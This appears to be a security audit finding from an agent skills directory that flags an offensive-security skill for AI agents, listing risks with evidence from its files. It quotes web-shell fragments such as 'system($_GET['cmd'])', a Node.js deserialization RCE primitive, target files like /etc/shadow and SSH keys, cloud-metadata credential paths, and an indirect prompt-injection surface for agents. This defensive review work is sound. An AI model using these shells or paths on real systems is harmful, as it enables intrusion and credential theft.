The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides numerous functional web shells and remote code execution payloads across multiple languages including PHP, ASPX, JSP, and Node.js.
Evidence: 'reference/scenarios/file-upload/web-shell-payloads.md' contains functional PHP shells such as 'system($_GET['cmd'])' and 'shell_exec($_GET['cmd'])'.
Evidence: 'reference/scenarios/deserialization/nodejs-deserialization.md' provides a payload using the '$$ND_FUNC$$' smuggling primitive to achieve IIFE-based RCE in Node.js.
[COMMAND_EXECUTION]: Included scripts and instructions leverage high-risk command execution functions.
Evidence: 'reference/scenarios/deserialization/tools/aspnet_viewstate_build.py' uses the 'Cryptodome' library to generate malicious BinaryFormatter payloads targeting 'System.Diagnostics.Process.Start'.
Evidence: Payloads in 'reference/scenarios/deserialization/python-and-ruby.md' utilize 'os.system' and 'subprocess.Popen' via the 'reduce' method for exploitation.
[DATA_EXFILTRATION]: Extensive techniques for sensitive data theft via SSRF and Path Traversal.
Evidence: 'reference/scenarios/ssrf/cloud-metadata.md' details paths to extract IAM credentials and service account tokens from AWS, Azure, and Google Cloud metadata services.
Evidence: 'reference/scenarios/path-traversal/target-files.md' lists high-value system files for exfiltration, including '/etc/shadow', SSH private keys, and cloud configuration files.
[DYNAMIC_EXECUTION]: The skill relies heavily on runtime code generation and unsafe deserialization techniques.
Evidence: 'reference/scenarios/deserialization/php-deserialization.md' and 'java-deserialization.md' detail the use of 'unserialize' and 'ObjectInputStream' combined with 'ysoserial' gadget chains to execute code.
Evidence: 'reference/scenarios/path-traversal/lfi-to-rce.md' demonstrates using PHP filter chains to synthesize and execute arbitrary PHP code byte-by-byte.
[INDIRECT_PROMPT_INJECTION]: The skill creates a vulnerability surface by instructing the agent to ingest and process untrusted data from external server responses and filesystem reads.
Ingestion points: 'reference/scenarios/ssrf/blind-detection-and-portscan.md' (SSRF response bodies) and 'reference/scenarios/path-traversal/basic-payloads-and-encoding.md' (arbitrary file reads).
Boundary markers: Absent; instructions focus on bypassing server-side security boundaries.
Capability inventory: The skill has full capability for shell access, file system modification, and network operations.
Sanitization: Absent; the skill is designed to exploit the lack of sanitization in target environments.
[PRIVILEGE_ESCALATION]: Instructions are provided for escalating privileges once an initial foothold is obtained.
Evidence: 'reference/scenarios/file-upload/ntfs-junction-write-redirect.md' describes using NTFS reparse points to redirect file writes into protected web roots or system directories to gain RCE as a service account.
[PERSISTENCE]: The skill facilitates persistence via the deployment of web shells.
Evidence: 'reference/scenarios/file-upload/web-shell-payloads.md' provides various shells to maintain remote access on a compromised server.

server-side